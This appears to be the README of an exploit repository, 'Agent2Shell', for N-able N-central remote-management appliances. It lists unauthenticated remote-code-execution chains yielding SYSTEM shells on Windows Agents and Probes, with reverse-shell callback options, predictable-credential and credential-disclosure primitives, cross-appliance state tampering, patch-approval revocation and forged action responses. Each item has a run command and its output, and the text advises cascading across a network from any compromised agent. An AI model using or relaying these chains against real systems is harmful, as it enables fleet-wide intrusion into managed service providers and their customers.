# Agent2Shell This folder contains Windows Agent and Probe RCE chains plus the supporting Agent/appliance protocol primitives reproduced on N-able N-central Appliance 2026.4.1.26 HF2 (`2026.4.1.26-b2026_4_1_26`). Server-side Axis, SIS, XSS, OGNL, NSP, and SysAudit exploits are intentionally excluded. Please note that you may have to acquire appliance IDs on your own, if you have compromised literally any device with an agent on it, you will have the IDs needed and can cascade to the rest of the network. Additionally, you can just use 4EverAble2Shell but it doesn't really count as a primitive IMO. N-Able burned the primitive I had for unauth appliance ID enum, but im sure there is a way. If you are suss about the executable you can build it yourself, it's all .net so you can decompile and verify its not malicious as well. ``` mcs -sdk:4 -target:exe \ -out:agent_codedrop_service.exe \ -r:System.ServiceProcess.dll \ agent_codedrop_service.cs ``` ## Exploit Chains ### Anonymous Reactive ProcessController to Windows SYSTEM RCE A cookie-free `GenericAgentXMPPMessageExchange` injects message ID 20 into an online Windows Agent. Reactive `ProcessController` executes the supplied command directly as `NT AUTHORITY\SYSTEM` without a product credential or user interaction. ```console sh$ python3 anonymous_agent_reactive_rce.py --appliance-id 1486642616 --callback-host 192.168.1.145 --callback-port 18491 --command whoami http=200 nt authority\system ``` [PoC](anonymous_agent_reactive_rce.py) · [Output](anonymous_agent_reactive_rce.output.txt) Use `--lhost --lport ` for an interactive PowerShell reverse shell. The target Agent must be online with the Reactive component enabled. ### Anonymous task-output and CodeDrop to Windows Probe RCE An anonymous MMS2 task-result submission stores an attacker ZIP in the public task-output tree, then sessionless GenericAgent XML delivers CodeDrop message ID 10 to an online Probe. The payload replaces the Probe service executable, runs the command, and restores the vendor executable. ```console sh$ python3 anonymous_agent_codedrop_rce.py --appliance-id 1486642616 --task-id 1746111121 --customer-id 101 --device-id 506682778 --device-uri 127.0.0.1 --task-name EndpointCarrierOutput --device-name WS-AUDIT-PROBE-20261105 --server-offset -5 --callback-host 192.168.1.145 --callback-port 18483 --command whoami upload=200 carrier=scheduled_tasks/output_files/101/506682778/1746111121/EndpointCarrierOutput_WS-AUDIT-PROBE-20261105_20261111155016.zip inject=sent desktop-nqqoech\admin ``` [PoC](anonymous_agent_codedrop_rce.py) · [Payload](agent_codedrop_service.exe) · [Output](anonymous_agent_codedrop_rce.output.txt) Use `--lhost --lport ` for an interactive shell. This chain requires a controlled existing task as the output carrier. ## Discovery and Authentication Primitives ### Predictable ServerMMS3 appliance credential The appliance passcode is SHA-256 of the decimal appliance ID, allowing an anonymous caller who knows that ID to mint a JWT and create a protected MMS3 session. ```console sh$ python3 predictable_mms3_passcode.py --target https://n-central.local --appliance-id wrong_passcode_http=500 acquire_http=200 confirm_http=200 session_hello_http=200 scan_module_count_http=200 ``` [PoC](predictable_mms3_passcode.py) · [Output](predictable_mms3_passcode.output.txt) ### Anonymous appliance-to-device and task mapping `Task.List` omits session validation for appliance-only queries and for fixed `DeviceID=1`, mapping a known appliance ID to device, customer, task, address, name, and module data. ```console sh$ python3 anonymous_tasklist_appliance_mapper.py --appliance-id 1486642616 build=N-able N-central 2026.4.1.26 HF2 anonymous_http=200 anonymous_count=3 random_session_matches=true invalid_appliance_http=200 invalid_appliance_count=0 ``` [PoC](anonymous_tasklist_appliance_mapper.py) · [Output](anonymous_tasklist_appliance_mapper.output.txt) ### Predictable appliance session reads exact device metadata A forged MMS3 appliance session is accepted by legacy `Device.GetAdv`, returning full metadata and task names for an exact caller-supplied device ID. ```console sh$ python3 anonymous_devicegetadv_metadata.py --target https://n-central.local --appliance-id 1486642616 --device-id 947677543 exact_http=200 exact_count=1 device_id=947677543 customer_id=101 uri=192.168.1.39 tasks=LocalIP,Probe Status adjacent_http=200 adjacent_count=0 ``` [PoC](anonymous_devicegetadv_metadata.py) · [Output](anonymous_devicegetadv_metadata.output.txt) ### Anonymous Ecosystem Agent credential disclosure The MMS3 configuration path discloses Agent key material that can be transformed into a reusable Ecosystem Agent credential. ```console sh$ python3 anonymous_mms3_ecosystem_credentials.py --target https://n-central.local --appliance-id agentKey_present=True encKey_present=True invalid_error_code=403 FORBIDDEN derived_error_code=0 ``` [PoC](anonymous_mms3_ecosystem_credentials.py) · [Output](anonymous_mms3_ecosystem_credentials.output.txt) ## Agent and Appliance State Primitives ### Ecosystem credential cross-agent state mutation The recovered Ecosystem credential is global rather than bound to its source device or customer. It can submit component state for a different Agent/device pair; the PoC records and restores the controlled version field. ```console sh$ python3 anonymous_ecosystem_cross_agent_state.py --appliance-id 1177049630 --target-agent-id --target-device-id 947677543 --version 9.9.9-cross-agent --proxy "$HTTPS_PROXY" missing_http=401 invalid_http=403 valid_http=200 message_status=AGENT_STAT error= cleanup_agentcurrentversion_is_null=true ``` [PoC](anonymous_ecosystem_cross_agent_state.py) · [Output](anonymous_ecosystem_cross_agent_state.output.txt) ### Anonymous Agent asset-state overwrite `AssetDiscoSimplifiedInfoSubmit` accepts `sessionID=0` for a caller-selected Agent appliance and persists the supplied asset tag without a device secret. ```console sh$ python3 anonymous_agent_asset_state_write.py --target https://n-central.local --appliance-id --control-appliance-id --value DESKTOP-NQQOECH control_http=500 write_http=200 accepted=True cleanup=UPDATE 1 ``` [PoC](anonymous_agent_asset_state_write.py) · [Output](anonymous_agent_asset_state_write.output.txt) ### Anonymous ServerMMS2 cross-appliance mutation An anonymous session for one appliance can apply a caller-selected action to another appliance because the operation does not bind session identity to its target. ```console sh$ python3 anonymous_mms2_cross_appliance_write.py --target https://n-central.local --source-appliance --target-appliance --value invalid_session_http=500 cross_appliance_readback_matches=True restored=True ``` [PoC](anonymous_mms2_cross_appliance_write.py) · [Output](anonymous_mms2_cross_appliance_write.output.txt) ### Anonymous maintenance-action read and cancellation `MaintActionGet` discards its supplied session ID, returns queued `Test` or `Restart` actions for a selected appliance, and deletes them. Use only a deliberately created disposable action. ```console sh$ python3 anonymous_maint_action_dequeue.py --target https://n-central.local --appliance-id 1177049630 --dequeue Test ``` [PoC](anonymous_maint_action_dequeue.py) · [Output](anonymous_maint_action_dequeue.output.txt) ### Anonymous patch supersedence and approval revocation A predictable MMS3 session can submit a new patch naming an existing third-party patch as superseded, causing N-central to change selected install approvals to `Declined`. ```console sh$ python3 anonymous_patch_supersede_decline.py --target https://n-central.local --appliance-id --target-patch-guid --proxy "$HTTPS_PROXY" unauthenticated_control=500 authenticated_submit=200 cleanup_counts=0|0|0|0 ``` [PoC](anonymous_patch_supersede_decline.py) · [Output](anonymous_patch_supersede_decline.output.txt) ### Anonymous remote-control heartbeat disconnection The sessionless heartbeat operation accepts a global task ID, deletes the task's temporary directory, and disconnects the selected task after the missed-heartbeat window. ```console sh$ python3 anonymous_remote_control_heartbeat_disconnect.py --target https://n-central.local --proxy "$HTTPS_PROXY" http=200 dir_positive=1 dir_control=0 ``` [PoC](anonymous_remote_control_heartbeat_disconnect.py) · [Output](anonymous_remote_control_heartbeat_disconnect.output.txt) ### Anonymous MSPA task and audit mutation `remoteControlMSPAStartEndTimeSubmit` trusts caller-selected task/action identifiers, timestamps, and state without validating a session or signature. ```console sh$ python3 anonymous_mspa_task_state.py --session-id --time 2026-11-11T23:10:00Z --invalid-signature start_request=200 task_audit=OPEN device_audit= state=InProgress ``` [PoC](anonymous_mspa_task_state.py) · [Output](anonymous_mspa_task_state.output.txt) ### Cross-appliance XMPP action-response forgery N-central trusts an appliance-supplied `messageUUID` as a global action capability and does not bind the XMPP sender to the referenced appliance, device, customer, or request. ```console sh$ python3 xmpp_cross_appliance_response_forgery.py --origin https://n-central.local --proxy "$HTTPS_PROXY" --appliance-id --config-xml --wrong-action-id --action-id --status Completed --output forged-cross-appliance-output bosh_authenticated=true wrong_response_http=200 selected_response_http=200 after_selected=Completed|forged-cross-appliance-output cleanup_rows=0 ``` [PoC](xmpp_cross_appliance_response_forgery.py) · [Output](xmpp_cross_appliance_response_forgery.output.txt)